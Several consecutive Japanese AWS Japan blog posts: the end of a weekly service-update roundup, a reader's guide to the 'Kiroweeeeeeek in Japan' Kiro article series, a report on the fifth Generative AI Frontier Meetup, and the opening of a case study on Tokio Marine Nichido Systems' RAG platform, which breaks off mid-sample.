tiered KV cache とインテリジェントルーティングをサポート Amazon SageMaker HyperPod で Managed Tiered KV Cache と Intelligent Routing が利用可能になりました。大規模言語モデル (LLM) の推論で、長い文書処理や会話の文脈維持時のパフォーマンスを最適化できます。従来は新しいトークン生成のたびに全ての過去のトークンに対して計算が必要でしたが、計算済みの値をキャッシュして再利用することで最大 40 % のレイテンシ削減と 25 % のコスト削減を実現します。詳細は こちらのユーザーガイド をご参照ください。 MCP 新しい Amazon SageMaker AI MCP Server で Amazon SageMaker HyperPod クラスターを管理 Amazon SageMaker AI MCP Server で HyperPod クラスターの設定・管理機能が追加されました。AI コーディングアシスタントが AI/ML クラスターを自動構築・運用できるようになり、データサイエンティストがインフラの専門知識なしでモデル訓練環境を構築可能です。CloudFormation テンプレートによる最適化で高性能な分散訓練・推論ワークロードに対応し、クラスター管理やスケーリング、メンテナンスも自動化されます。詳細は こちらのドキュメント をご参照ください。 AWS Knowledge MCP Server がトピックベース検索をサポート AWS Knowledge MCP Server がトピックベース検索に対応し、AI エージェントや開発者が AWS ドキュメントをより効率的に検索できるようになりました。従来は一般的な検索のみでしたが、今回 Troubleshooting や AWS Amplify、CDK などの特定分野に絞った検索が可能になり、関連性の高い情報を素早く取得できます。例えばエラー解決時にはトラブルシューティングドキュメントのみを検索し、フロントエンド開発では Amplify 関連情報だけを対象にできるため、開発効率が大幅に向上します。詳細は こちらのドキュメント をご参照ください。 AWS API MCP Server が AWS Marketplace で利用可能になりました AWS API MCP Server が AWS Marketplace で利用開始されました。従来はRemote MCP のみでしたが、お客様独自のインフラストラクチャ (Amazon Bedrock AgentCore) に MCP サーバーをデプロイできるようになりました。企業レベルのセキュリティとスケーラビリティを実現します。認証設定や IAM ポリシーの実装が可能で、コンテナ管理も簡素化されます。詳細は こちら をご参照ください。 その他 Amazon OpenSearch Service が Agentic Search を導入 Amazon OpenSearch Service で Agentic Search が開始されました。これまで複雑な検索構文を覚える必要がありましたが、今回のアップデートで「3万ドル以下の赤い車を探して」といった自然言語での検索が可能になりました。AI エージェントがユーザーの意図を理解し、最適な検索戦略を自動選択して結果を返してくれます。技術的な専門知識がなくても直感的にデータ検索ができるため、業務効率が大幅に向上します。OpenSearch Service version 3.3 以降で利用可能です。詳細は こちらの技術文書 をご参照ください。 Amazon Lex が自然言語理解の主要オプションとして LLM をサポート開始 Amazon Lex で LLM (大規模言語モデル) を使った自然言語理解が可能になりました。これまでより複雑な会話や曖昧な表現も正確に理解し、スペルミスがあっても適切に処理できます。例えば「フライトのことで助けが欲しい」という曖昧なリクエストに対して、ステータス確認・アップグレード・変更のどれを求めているか自動で確認してくれます。音声・チャットボット両方で利用でき、より自然な顧客対応が実現します。詳細は こちらのドキュメント をご参照ください。 それではまた来週お会いしましょう！来週は re:Invent 2025 特別号をお送りします！ 著者について 木村 直登(Naoto Kimura) AWS Japan のソリューションアーキテクトとして、製造業のお客様に対しクラウド活用の技術支援を行なっています。最近は AI Agent と毎日戯れており、AI Agent 無しでは生きていけなくなっています。好きなうどんは’かけ’です。 野間 愛一郎 (Aiichiro Noma) AWS Japan のソリューションアーキテクトとして、製造業のお客様を中心に日々クラウド活用の技術支援を行なっています。データベースやデータ分析など、データを扱う領域が好きです。最近、ハーブを育てるのにハマっています。

こんにちは、ソリューションアーキテクトのいなりく㌔ 11 月 18 日から 29 日まで開催した「 Kiroweeeeeeek in Japan 」、たくさんの方にご参加いただき、ありがとうございました！この連載イベントは、 Kiro の一般提供開始 を記念して、日本のお客様に向けた特別企画として実施しました。 12 日間にわたり、AWS Japan の社員が「仕様駆動から実装・運用までの道筋」をテーマに、実践的な情報をお届けしてきました。Day1 の導入ガイドから始まり、移行方法、セキュリティ、ペアプログラミング、Shell スクリプト開発、CLI ツール、仕様駆動開発、チーム開発、そしてパートナーエコシステムとの連携まで、幅広いトピックをカバーしています。 このブログでは、公開された全 10 個のコンテンツを振り返りながら、「あなたの状況や関心に合わせて、どこから読むべきか」をガイドします。Day1 から順に読む必要はありません。あなたのニーズに合ったコンテンツから始めて、Kiro の可能性を最大限に引き出しましょう。 豆知識：「Kiro」という名前の由来 本題に入る前に、少しだけ豆知識を。 「Kiro」という名前、実は日本語の「岐路（きろ）」に由来しています。 岐路とは、道が分かれる場所、つまり「分岐点」や「重要な選択の瞬間」を意味します。ソフトウェア開発において、私たちは常に無数の選択に直面しています。どのアーキテクチャを採用するか、どの技術スタックを選ぶか、どのように問題を解決するか。これらの岐路での判断が、プロジェクトの成否を左右します。 Kiro は、まさにこの「岐路」に立つ開発者を支援するツールです。AI の力を借りて、複雑な選択肢を整理し、最適な道筋を見出す手助けをします。仕様駆動開発（Spec）という機能は、要件定義から設計、実装へと続く道のりを明確にし、「どこに向かっているのか」を常に意識しながら開発を進められるようにします。 また、岐路には「新しい可能性への入口」という意味も込められています。従来の開発手法から AI 駆動開発への転換点、個人開発からチーム開発への拡張、そして人間の創造性と AI の自動化が融合する新しい開発パラダイムへの入口。Kiro は、開発者が新しい時代の岐路に立ち、自信を持って一歩を踏み出せるよう設計されています。 「Kiro」という名前は、単なる選択ではなく、目的の表明です。開発の岐路に立つあなたを支え、イノベーションへの最適な道を共に見つけ出します。 あなたはどのタイプ？ペルソナ別おすすめガイド 1. 「Kiro を初めて使います」というあなたへ こんな方におすすめ Kiro を初めて使う Amazon Q Developer の経験もない どこから始めればいいかわからない おすすめの学習パス まずは Day 1: Kiro 導入ガイド：始める前に知っておくべきすべてのこと から始めましょう。このコンテンツでは、Kiro のプラン体系（Free/Pro/Pro+/Power）、請求方法、認証方式（IAM Identity Center、Builder ID、GitHub、Google）について整理されています。特に、「自分はどのプランが適しているのか」「AWS 請求に統合するにはどうすればいいのか」といった疑問に答えてくれます。 基本を理解したら、実践的な使い方を体験してみましょう。3 つの選択肢があります。 チーム開発に興味がある方 は Day 4: Kiro を使ったペアプログラミングのすすめ からはじめましょう。AWS 社内ハッカソンでの実践例を通じて、Kiro を使った新しい開発スタイルを学べます。ホワイトボーディングの画像認識、Agent Hooks による自動化、MCP ツールの活用など、具体的なノウハウが満載です。 インフラや運用が専門の方 は Day 5: インフラエンジニアのあなたも！Shell スクリプト開発で Kiro を使ってみよう からはじめましょう。「Kiro は自分には不要では？」と思っている方こそ読んでほしい記事です。ディスククリーンアップスクリプトの開発や既存スクリプトの改善を通じて、Kiro がインフラエンジニアにも役立つことを実感できます。Kiro の Spec モードを使うことで、「書いた本人しか理解できない」「動いているから触りたくない」という状況を避けられ、開発プロセスの中で自然とドキュメント（セットアップ手順、実行方法、ファイル構成を含む）が生成されます。また、エラーハンドリング、適切なログ出力、セキュリティ対策などのベストプラクティスが自動的に適用されたコードが生成されます。 ハンズオンで学びたい方 は Kiro 日本語ワークショップ で実際に手を動かしながら学べます。Kiro の基本的な使い方から、Spec 機能、Agent Hooks、MCP の活用まで、段階的に学習できる構成になっています。 2. 「Amazon Q Developer から移行したい」というあなたへ こんな方におすすめ Amazon Q Developer の IDE プラグインを使用中 Kiro への移行方法を知りたい 新機能を理解したい おすすめの学習パス まず Day 1: Kiro 導入ガイド で、Amazon Q Developer と Kiro の関係性を理解しましょう。重要なポイントは、Amazon Q Developer Pro サブスクリプションを維持したままでも Kiro の一部機能（Kiro CLI / Kiro IDE を Pro 相当として）を利用できることです。ただし、上位プランへの変更には Kiro サブスクリプションへの手動アップグレードが必要です。 次に Day 2: Amazon Q Developer の IDE プラグインから Kiro に乗り換える準備 で、具体的な移行方法を学びましょう。このコンテンツでは、プロファイル移行（拡張機能、テーマ、設定、ショートカットの引き継ぎ）、Rules から Steering への進化、MCP の継続利用について詳しく解説されています。特に注目すべきは、Kiro の最大の特徴である「仕様駆動開発（Spec）」と「Agent Hooks」という新機能です。移行の準備ができたら、Kiro の真価を発揮する仕様駆動開発を体験してみましょう。 Day 7: イベントストーミングから要件・設計・タスクへ または Day 8: Kiro における負債にならない Spec ファイルの扱い方 で、Spec 機能の活用方法を深く理解できます。 3. 「組織での導入を検討している」というあなたへ こんな方におすすめ チームや組織での Kiro 導入を検討している セキュリティ、ガバナンス、請求管理が気になる エンタープライズ利用の要件を満たしたい おすすめの学習パス まず Day 1: Kiro 導入ガイド で、プラン体系と請求統合の仕組みを理解しましょう。企業で利用する場合は、Kiro Pro プラン以上と AWS IAM Identity Center の組み合わせが推奨されます。これにより、AWS 請求に統合でき、組織単位での従量管理が可能になります。 次に Day 3: Kiro を組織で利用するためのセキュリティとガバナンス で、エンタープライズ利用のための統制機能を確認しましょう。このコンテンツでは、Kiro for enterprise の提供内容、データ保護（暗号化、サービス改善のオプトアウト）、利用状況の可視化、Overage と MCP の統制、ネットワーク設定（ファイアウォール、プロキシ、PrivateLink）について詳しく解説されています。特に重要なのは、Kiro for enterprise ユーザーはテレメトリとコンテンツ収集から自動的にオプトアウトされ、サービスの改善に利用されない点です。 組織での導入が決まったら、 Day 8: Kiro における負債にならない Spec ファイルの扱い方 で、チーム開発における Spec ファイルの管理方法を学びましょう。機能ごとの Spec 分割、バージョン管理、複数アプリ間での共通仕様の管理など、長期的に負債化しない開発体制を構築するためのベストプラクティスが紹介されています。 チーム開発での実践例を知りたい方は、 Day 9: Kiro を使ったチーム開発の実践 も合わせて読みましょう。AWS Japan の新卒メンバーが 4 人チームで Chrome 拡張機能を開発した実例を通じて、ステアリング機能の活用、適切なタスク分解、技術的境界での Spec 分割など、チーム開発で Kiro を最大限活かすコツが紹介されています。 発注元として開発会社と協業している方は、 Day 10: スピードと品質の両立 – Kiro が加速する開発、GitLab AI が支えるレビュー が特に参考になります。Kiro の圧倒的なスピードと GitLab + Amazon Bedrock による品質担保を組み合わせることで、「開発が速すぎてレビューが追いつかない」という課題を解決する新しいパートナーシップモデルが提案されています。発注元の非エンジニアでも AI の支援により仕様書レベルでの品質チェックが可能になり、早期段階での問題発見によるコスト削減を実現できます。 4. 「実践的な使い方を知りたい」というあなたへ こんな方におすすめ 基本は理解済み 実際の開発での活用方法を知りたい 具体的なユースケースや開発フローが見たい ターミナルベースの開発を好む おすすめの学習パス まず Day 4: Kiro を使ったペアプログラミングのすすめ で、AI 時代の新しい開発スタイルを体験しましょう。このコンテンツでは、AWS 社内ハッカソンでの実践例を通じて、Kiro を使ったペアレビューの効果（認知負荷の分散、即座のフィードバックループ）が紹介されています。ホワイトボーディングの画像認識、Agent Hooks による日英ドキュメント翻訳、MCP ツールの活用など、実践的なノウハウが満載です。 次に Day 7: イベントストーミングから要件・設計・タスクへ で、ビジネス分析から実装への橋渡しを学びましょう。イベントストーミングで可視化したビジネスフローを、Kiro の Spec 機能を使って要件定義・設計・実装タスクへと変換していくプロセスが詳しく解説されています。EARS 記法での要件定義、プロパティベーステストの自動生成など、ドメイン駆動設計と相性が良いプラクティスが組み込まれています。 Day 8: Kiro における負債にならない Spec ファイルの扱い方 で、Spec ファイルの長期的な管理方法を理解しましょう。Day7 で Spec の作り方を学んだら、Day8 で管理方法を学ぶという流れです。機能ごとの Spec 分割、requirements.md からの変更適用、Vibe から Spec への変換、バージョン管理など、実践的なベストプラクティスが紹介されています。 チーム開発での実践例を知りたい方は、 Day 9: Kiro を使ったチーム開発の実践 も必読です。AWS Japan の新卒メンバーが 4 人チームで約 2 ヶ月かけて Chrome 拡張機能を開発した実例を通じて、ステアリング機能の活用（技術選定とバージョン管理、Spec との連携、AI からのヒアリング促進）、適切なタスク分解（MVP 思考での Spec 分割、技術的境界での切り分け）など、チーム開発で Kiro を最大限活かすコツが詳しく紹介されています。 ターミナルベースの開発が好きな方は、 Day 6: Amazon Q Developer CLI から Kiro CLI へ：知っておくべき変更点 も合わせて読みましょう。ファジー検索機能（Ctrl+S で全コマンドを検索可能）、カスタムエージェント機能、スクリーンショット貼り付け機能（Ctrl+V でクリップボードの画像を直接チャットに貼り付け）、実験機能（ /knowledge 、 /thinking 、 /tangent 、 /todos 、 /checkpoint など）が紹介されています。CLI でも IDE でも、Spec 機能は同じように活用できます。 特に注目：Kiro の真価を発揮する「仕様駆動開発」 Kiroweeeeeeek in Japan の中でも、特に注目していただきたいのが Day7 と Day8 で紹介された「仕様駆動開発（Spec）」です。これは Kiro の最大の特徴であり、他の AI コーディングツールにはない革新的な機能です。 Day 7: イベントストーミングから要件・設計・タスクへ。Kiro を活用した仕様駆動開発 イベントストーミングは、ビジネスの流れを可視化し、業務のエキスパートや開発メンバーが同じ理解を持てるようにするためのプラクティスです。しかし、「どこから実装に落とし込むのか」「どうテストするのか」という部分は、開発者がつまずきやすいポイントでした。 Day7 のコンテンツでは、EC サイトの注文プロセスを題材に、イベントストーミングの成果物を Kiro の Spec 機能を使って要件定義・設計・実装タスクへと変換していくプロセスが紹介されています。 コンテンツのハイライト： イベントストーミングの画像を Kiro に添付するだけで、要件の初版が生成される EARS 記法（WHEN / IF / THEN 形式）での構造化された要件定義 設計フェーズでのデータモデルとサービスメソッドの自動生成 プロパティベーステストの自動生成（「任意の〜に対して、〜すべきである」という形式） イベントストーミングの「〜したら、〜になる」という因果関係が、プロパティテストの「任意の〜に対して、〜すべきである」という考え方と相性が良い このコンテンツを読むことで、ビジネス分析から実装までの一貫した流れを理解でき、ドメイン駆動設計と相性が良いプラクティスを学べます。 Day 8: Kiro における負債にならない Spec ファイルの扱い方 Spec ファイルは「仕様駆動開発」を構成する要素であり、仕様を起点として設計・実装を進めることで、仕様と実装の同期を保ちながら開発を進めることができます。しかし、正しく扱わないと負債になる可能性があります。 Day8 のコンテンツでは、「Spec ファイルの切り方」「Spec ファイルの更新方法」「Spec ファイルの共有方法」の 3 つの視点から、負債にならないための工夫が紹介されています。 コンテンツのハイライト： Spec の切り方 ：プロジェクト全体を一つの巨大な Spec ファイルで管理せず、機能ごとに分割する（例：user authentication、product-catalog、shopping-cart など） Spec の更新方法 ：requirements.md → design.md → tasks.md → 実装の順で更新し、一貫性を保つ。または、Vibe モードで実装してから Spec に変換する Spec の共有方法 ：バージョン管理により実装と実装意図をまとめて管理。複数アプリ間の共通仕様は専用リポジトリで一元管理 Day7 で Spec の作り方を学んだら、Day 8 で管理方法を学ぶという流れです。この 2 つのコンテンツを合わせて読むことで、Kiro の仕様駆動開発を実践的に活用できるようになります。 まとめ：Kiro で変わる開発パラダイム Kiroweeeeeeek in Japan を通じて、Kiro が単なる AI コーディングアシスタントではなく、開発パラダイムを変える可能性を持つツールであることをお伝えしてきました。 従来の AI コーディングアシスタントは、プロンプトを入力すればすぐにコードを生成してくれますが、そのコードが本当に要件を満たしているのか、どのような設計判断がなされたのかは不透明でした。Kiro の仕様駆動開発は、この問題を解決します。要件（Requirements）、設計（Design）、タスク（Tasks）という 3 つのフェーズを経て、構造化された開発プロセスを実現し、仕様と実装の同期を保ちながら開発を進めることができます。 また、Agent Hooks による自動化、MCP による外部システム連携、Steering によるプロジェクト固有のルール適用など、チーム開発を支援する機能も充実しています。Kiro は、個人の生産性向上だけでなく、チーム全体の開発効率と品質を向上させるツールとして設計されています。 次のステップ Kiroweeeeeeek in Japan のコンテンツを読んで、Kiro に興味を持っていただけたでしょうか？ 次のステップとして、以下のアクションをおすすめします。 Kiro をダウンロード Kiro の公式サイト から Kiro IDE または Kiro CLI をダウンロード しましょう。まずは Free プランから始めて、基本的なコード生成機能や仕様駆動開発を体験できます。 自分のペルソナに合ったコンテンツから読み始める このブログで紹介したペルソナ別ガイドを参考に、あなたに最適なコンテンツから読み始めましょう。すべてのコンテンツを読む必要はありません。必要な情報から順に学んでいきましょう。Kiroweeeeeeek in Japan で公開された記事に関しては定期的にお客様からいただいた質問をベースに可能な限りメンテナンスしていく予定です。ぜひお気に入りなどに登録しておいてください。 実際に Kiro を使って開発を試す 小さなプロジェクトから始めて、Kiro の Spec 機能や Agent Hooks を試してみましょう。実際に使ってみることで、Kiro の真価を実感できます。 コミュニティに参加 X（旧 Twitter）で #kiroweeeeeeek をつけて、あなたの体験や疑問を共有してください。どんな業界・規模・開発スタイルの方からの投稿も大歓迎です。AWS Japan チームも引き続き情報発信を続けていきますので、ぜひフォローしてください。Kiro は、生成 AI とエージェント時代における新しい開発パラダイムを提案しています。この Kiroweeeeeeek in Japan が、皆さまの開発体験を向上させる一助となれば幸い㌔ それでは、Kiro を使った新しい開発の旅を楽しんで㌔

アマゾン ウェブ サービス ジャパン（以下、AWS ジャパン）が 2024 年 7 月に発表した「 生成 AI 実用化推進プログラム 」は、生成 AI の活用を支援する取り組みです。基盤モデルの開発者向けと、既存モデルを活用する利用者向けの 2 つの枠組みを提供し、企業の目的や検討段階に応じた最適な支援を行ってきました。また、2025 年 4 月から生成 AI 活用の戦略策定段階からご支援する「戦略プランニングコース」も提供を開始しております。 その「生成 AI 実用化推進プログラム」の参加者や、GENIAC（Generative AI Accelerator Challenge）の関係者、生成 AI に関心を持つ企業が一堂に会する「生成 AI Frontier Meetup」が、2025 年 11 月 17 日に開催されました。2024 年 11 月 15 日の 第 1 回 、2025 年 2 月 7 日の 第 2 回 、2025 年 4 月 16 日の 第 3 回 、2025 年 8 月 26 日の 第 4 回 に続き、今回が第 5 回となります。本記事では、イベントの模様をレポートします。 本イベントの司会進行は、AWS ジャパン 事業開発統括本部 グロース事業開発本部長の塚本 陽子が務め、全体を通じて登壇者の紹介やセッションの案内を行いました。 開会のご挨拶 イベントの冒頭では、AWS ジャパン 事業開発統括本部の飯島 恵介がご挨拶をしました。 「生成 AI 実用化推進プログラム」では、2024 年の開始から現在までに、累計で 250 社を超えるお客様を支援してきました。また、「 AWS Generative AI Accelerator 」では日本から 2024 年は 3 社、2025 年は 2 社のお客様を支援。経済産業省と NEDO が主導する「GENIAC」では第 2 期・第 3 期ともに 13 社の事業者を支援していることにも触れました。 加えて、市場のニーズや技術的な潮流を踏まえ、「生成 AI 実用化推進プログラム」を柔軟に変更している点も語られました。2025 年 4 月に「戦略プランニングコース」を新設、6 月には「モデルカスタマイズコース」と「モデル活用コース」を拡充しましたが、その内容をさらに改善しました。「モデルカスタマイズコース」には「GENIAC-PRIZE 応募者支援」、「モデル活用コース」には「Agentic AI 実用化推進」のメニューを追加しています。 飯島は Agentic AI の関連情報についても触れ、AI エージェントを安全かつ大規模に展開するための Amazon Bedrock AgentCore や、データ分析からインサイト獲得までを統合的に支援する Amazon Quick Suite といった最新サービスを紹介しました。 最後に、本イベントが 5 回目を迎えたことへの感謝を伝え、参加者同士の交流を通じてコミュニティ全体が発展していくことへの期待を示し、挨拶を締めくくりました。 AWS セッション ここからは、二部構成で AWS セッションを進行しました。 前半パートでは、特別ゲストとして来日した Anthropic 社の Member of Technical Staff である Jason Kim 氏（写真左）と、AWS ジャパン Data & AI 事業統括本部 事業開発マネージャーの田村 圭（写真右）によるディスカッションが行われました。 セッションの冒頭では、Anthropic 日本法人設立の背景として Jason 氏が 3 つの点を挙げました。第一に、日本にはすでに強力な顧客・パートナー基盤が存在していること。第二に、「倫理的で安全な AI の研究を進める」という同社の理念と、日本のエンタープライズ企業が期待する「責任ある AI」への姿勢が合致したこと。そして第三に、政府や公共機関との連携を含めた、今後の協業への大きな期待があったことです。 話題が Claude Code の具体的な活用法に移ると、Jason 氏は各種のユースケースを紹介しました。特に強調されたのが「マルチエージェント」というコンセプトです。Anthropic 社内では、一人のエンジニアが複数の Claude Code を同時に利用し、それぞれに「プロジェクトマネージャー」「バックエンドエンジニア」「セキュリティ専門家」といった異なる役割を与え、協調させて開発を進めているとのことです。 さらに、Anthropic 社においてロボティクスの専門知識がないチームが、Claude Code を用いてわずか 6 時間でロボット犬のプログラミングに成功した事例も紹介しました。汎用的なコーディングだけでなく、ハードウェア制御のような専門領域でもその能力を発揮できると、Claude Code のポテンシャルを強く印象付けました。 セッション後半では、AWS ジャパン AI/ML Specialist SA の石見 和也が登壇。Anthropic 社のCoding AgentであるClaude Codeを、AWSと組み合わせて安全かつ効率的に活用するための具体的なソリューションを提示しました。 石見氏は、企業ごとの要件に合わせた Claude Code の利用形態として、「 Amazon Bedrock の API との連携」と「 AWS Marketplace 上での Claude for Enterprise の購入」という 2 つの選択肢を紹介しました。前者は、データを AWS 内に閉じて管理できることや、従量課金での利用が可能になるメリットがあります。後者は、AWS Marketplace で Claude の定額プランを購入することで、予算管理や社内承認プロセスを簡素化できる点が利点だと説明しました。 終盤では、日本国内で Claude Code と Amazon Bedrock を組み合わせた導入プロジェクトが増加していることに触れ、企業の生成 AI 活用が本格化するフェーズに入りつつあることを示しました。 プログラム参加者によるライトニングトーク ここからは、生成 AI 実用化推進プログラムに参加する各社の代表者が登壇し、AWS のサービス利用を軸にした取り組みを紹介しました。AWS ジャパン サービス & テクノロジー事業統括本部 技術本部長の小林 正人（写真左）と、AI/ML Specialist SA の飯塚 将太（写真右）がモデレーターを務め、登壇者に質問を投げかけつつ進行しました。 株式会社ドワンゴ技術本部 Dwango Media Village 部長の小田桐 優理 氏は、麻雀の対局の全履歴である「牌譜」の続きを予測することで、麻雀のあらゆる事象を統合的に理解するモデルについて紹介しました。Amazon Bedrock で利用可能な Qwen3 をベースモデルに選択し、 AWS ParallelCluster を活用して大規模な学習を実施しています。将来的には、麻雀についての深い議論ができたり麻雀における反実仮想的な思考 (もし〜だったら？) 等ができる、麻雀の世界を深く理解した麻雀 AI の様々な応用を目指しています。 株式会社 JPX 総研 IT ビジネス部 統括課長の太子 智貴 氏は、自然言語検索による適時開示情報へのアクセス改善に向けた取り組みを紹介しました。Amazon OpenSearch Service と Claude を組み合わせ、表記ゆれや類義語を吸収した多言語での柔軟な検索を実現しています。また、開発には AWS CDK を導入しており、生成 AI によるコーディングで開発サイクルを高速化することで、変化の速い AI 分野に迅速に対応できる体制を整えています。 ネットイヤーグループ株式会社 第 2 事業部 第 2 デジタルインテグレーション部 第 6 チームチームマネジャーの峰村 仁子 氏は、対話型 AI と専門家のサポートによるインタビュー支援サービス「AI Deep Insights」のエピソードを紹介。ユーザーインサイトの把握に不可欠なインタビュー調査には、時間やコスト、手間がかかります。この課題を解決するため「AI Deep Insights」を開発し、根拠に基づいたインサイト分析を実現しました。 株式会社ディー・エヌ・エー IT 本部  IT 戦略部の田中 誠也 氏は、社内ヘルプデスクの AI 活用を推進した事例を発表しました。もともとは内製の RAG システムを使用していましたが、問い合わせへの回答精度に課題がありました。そこで、チャンク化戦略など精度向上に不可欠な高度な機能が標準搭載されている Amazon Bedrock  ナレッジベース を導入。内製時の知見を活かして短期間でチューニングを行い、回答精度を向上させました。 株式会社ネットプロテクションズ ソリューションアーキテクトグループ/生成 AI WG 統括責任者の田中 哉太 氏は、カスタマーエクスペリエンス向上に向けた AI 活用について、MVP アプローチによる導入事例が発表されました。既存の FAQ をナレッジソースとし、対象領域を絞って段階的に開始することで、安全な導入と知見の獲得を実現し、顧客対応の効率化と応答時間の短縮に成功しました。 株式会社 情報戦略テクノロジー AI Officer の藤本 雅俊 氏は、社内に分散した知見を集約する AI エージェント「パイオにゃん」の開発事例を発表しました。同サービスは、Slack や Google カレンダー等の複数ツールと連携し、社員一人ひとりに伴走する AI コンシェルジュとして機能します。開発では Amazon Bedrock ナレッジベースや Strands Agentsに加え、ソフトウェア開発生成 AI アシスタント Amazon Q Developer を全面的に活用しました。 開発者のモデルご紹介 ここからは、基盤モデルを開発する各社の代表者が登壇しました。 SDio 株式会社 PM の竹岡 良輔 氏は、同社が開発する大規模映像基盤モデル DeepFrame について紹介しました。このモデルは人間のように、数時間以上の長尺映像を「点」ではなく「ストーリー」として深く理解することを目指しています。この技術を応用し、TV コンテンツを秒単位で検索できる AI 検索プラットフォーム「TVPulse」を展開しています。 カラクリ株式会社 R&D team Lead の武藤 健介 氏は、カスタマーサポート領域における LLM 開発の取り組みを発表しました。 AWS Trainium を駆使し、コストを抑えながら大規模モデルを開発。特に、API 連携なしに人間のように PC 画面を視覚的に操作する Computer-Using Agent の開発に注力しています。セッション内では、顧客管理システムを自動で操作してメール返信するデモを披露しました。 登壇者の皆様 クロージング AWS ジャパン 事業開発統括本部 生成 AI 推進マネージャーの梶原 貴志がクロージングを行いました。来年も「生成 AI Frontier Meetup」を開催すると言及し、加えて近日開催予定の生成 AI 関連のイベントもご案内しました。 AWS re:Invent  ～AWSが主催するグローバルなクラウドコンピューティングコミュニティのための「学習型カンファレンス」～ 1 週間にわたるイベント期間中、画期的な基調講演、ハンズオンの技術セッション、対話形式の学習機会を通じて、クラウドのパイオニアや革新者たちが、クラウド移行から生成 AI に至るまで、世界を変える画期的なソリューションを生み出します。 イベント概要 日時: 2025 年 12 月 1 日～5 日 開催地: 米国・ラスベガス https://reinvent.awsevents.com/ AWS Black Belt Online Seminar 2025 年 AWS re:Invent 速報 AWS re:Invent の会期中に発表された新サービス・新機能を 1 時間で網羅してご紹介。 イベント概要 日時: 2025年 12 月 5日 (金) 12:00～13:00 JST 開催方式: オンライン https://pages.awscloud.com/blackbelt-online-seminar-reinvent-recap-2025-reg.html Amazon Q Developer & Kiro Meetup #5  ～AWS re:Invent アップデート速報 & お客様の活用事例紹介～ AWS re:Invent でアップデートのあった Amazon Q Developer および Kiro の解説と、お客様による Amazon Q Developer および Kiro の実践事例をご紹介。また後半では、現地にお越しいただいた方のネットワーキングの時間も用意しております。 イベント概要 日時: 2025 年 12 月 15日 (月) 19:00～21:00 (18:30 受付開始) 開催方式: ハイブリッド (前半講演のみ) https://aws-experience.com/apj/smb/event/e911ba36-4350-4bcc-8bd7-12611befa9bc 参加者交流会の様子 交流会では、各セッションで共有された事例を起点に、登壇者と参加者が自由に意見を交わす様子が目立ちました。生成 AI 導入における工夫や課題、今後の方向性をめぐって熱心な議論が続き、会場全体に活気があふれていました。業種や役割を超えたネットワーキングも進み、実務で得た知見を共有しながら、新たな連携や共創の芽が育まれる場となりました。 会場内には、全般的な質問に応じる「よろず相談」、技術的な相談に応じる「Ask an Expert」コーナーも設けられ、ご参加のお客様の質問に回答いたしました。 おわりに 本イベントは、生成AIの社会実装に向けた最新の取り組みや、具体的な業務活用の事例が数多く紹介され、現場で役立つ学びを得られる有意義な時間となりました。AWS ジャパンは、今後も業界横断での交流や技術支援を通じて、企業の生成 AI 活用を後押しし、持続的な実用化に貢献していきます。

はじめに 東京海上日動システムズ株式会社様（以下、同社）では、生成 AI を活用した継続的な変革に取り組まれています。これまで、 生成AIによるアプリケーションモダナイゼーション や AI-DLC（AI-Driven Development Life Cycle）による開発変革 について紹介してきましたが、本ブログでは、同社の生成 AI 活用のもう一つの重要な取り組みである、全社向けの生成 AI アプリケーション実行基盤の構築についてご紹介します。 特に、RAG（Retrieval-Augmented Generation）システムの構築における技術選定と実装の工夫は、同様のプロジェクトを検討されている企業の皆様にとって有益な知見となるはずです。 全社生成 AI 実行基盤の構想 プロジェクトの背景と目的 同社は、全社向けの生成 AI アプリケーション実行基盤の構築に取り組みました。このプラットフォームは、生成 AI アプリケーションのガバナンス機能、データ、ビジネスロジック等を共通化することで、アプリケーション開発の品質と速度を向上させることを目的としており、生成 AI アプリケーション構築における中核プラットフォームとしての役割を担います。 アーキテクチャの特徴 同社はマルチアカウント構成によるスケーラビリティを重視した設計を採用しました。各生成 AI アプリケーションを独立したアカウントで運用することで、障害や負荷の影響を分離できます。また、Amazon Bedrock などの AWS サービスにはアカウント単位でリクエスト数などのクォータが設定されていますが、アカウントを分離することで各アプリケーションが独立してクォータを利用でき、スケーラブルな運用が可能になります。 一方、共通 GW アカウントでは、入出力のフィルタリングやログの監視などのガバナンス機能を集約して提供します。これにより、全社で統一されたセキュリティポリシーとコンプライアンス要件を満たしながら、各アプリケーションが安全に生成 AI を活用できる環境を実現します。 全社生成 AI 実行基盤のアーキテクチャ RAG システムの構築 システムの概要 プラットフォーム上で動作する生成 AI アプリケーションの１つとして、同社は RAG システムを開発しています。このシステムは、複数のデータソース（社内 FAQ サイト、社内マニュアル、過去の問い合わせ履歴など）を統合し、高精度な情報検索と回答生成を実現します。 この RAG システムの構築において、同社はいくつかの技術的な工夫を行いました。 ドキュメント解析：Foundation Model Parsing の活用 このシステムで扱う社内マニュアルは、二段組レイアウト、図表とテキストの混在、階層的な情報構造など、非常に複雑な特徴を持っています。このような複雑なレイアウトを正確に理解し、適切な形式で情報を抽出するため、Amazon Bedrock Knowledge Bases の Foundation Model Parsing を採用しました。 この機能は、Anthropic Claude などの高度な基盤モデルを活用したマルチモーダル機能により、PDF や画像ファイル内のテキスト、図表、画像などを理解し、抽出します。Claude の高度な視覚理解能力により、複雑な文書構造を正しい順序で抽出し、注釈や図表の説明を適切な位置に配置することで、高精度な情報検索と回答生成が可能となりました。 以下は、Claude Sonnet 4 を利用した Foundation Model Parsing による抽出の様子を示すサンプルです。実際の同社のマニュアルではありません。左側のページの画像から、右側のように構造化されたテキストが抽出されます。 <markdown> # 1 複合機の基本操作方法 ※これはサンプルです 本ドキュメントはレイアウトサンプルであり、実際のお客様のマニュアルではありません。 オフィスで使用する複合機の基本的な操作方法について説明します。注1 (1) コピー機能を使用する場合は、原稿台に原稿をセットし、コピー枚数を指定してスタートボタンを押します。注2 また、以下の機能も利用できます。 ① 両面コピー機能を使用する場合 注3 ② カラーコピーを行う場合 注4 ③ 拡大・縮小コピーを行う場合 ④ 複数ページを1枚にまとめる集約コピー 注5 ⑤ ホチキス止めなどの仕上げ機能を使用する場合 注6 <figure> <figure_type>Diagram</figure_type> ## コピー操作の流れ このフローチャートは複合機でのコピー操作の手順を示しています。原稿セットから開始し、設定選択を経て最終的にスタートボタンを押すまでの流れを図示しています。 原稿を原稿台ガラス面に下向きにセット ↓ テンキーでコピー枚数を入力 ↓ カラーコピーを使用しますか？ （はい/いいえの分岐） はい → 「カラー」を選択 いいえ → 「白黒」を選択 ↓ 両面印刷を行いますか？ （はい/いいえの分岐） はい → 綴じ方向を選択（長辺綴じ/短辺綴じ） 長辺綴じ → 長辺綴じ設定 短辺綴じ → 短辺綴じ設定 いいえ → 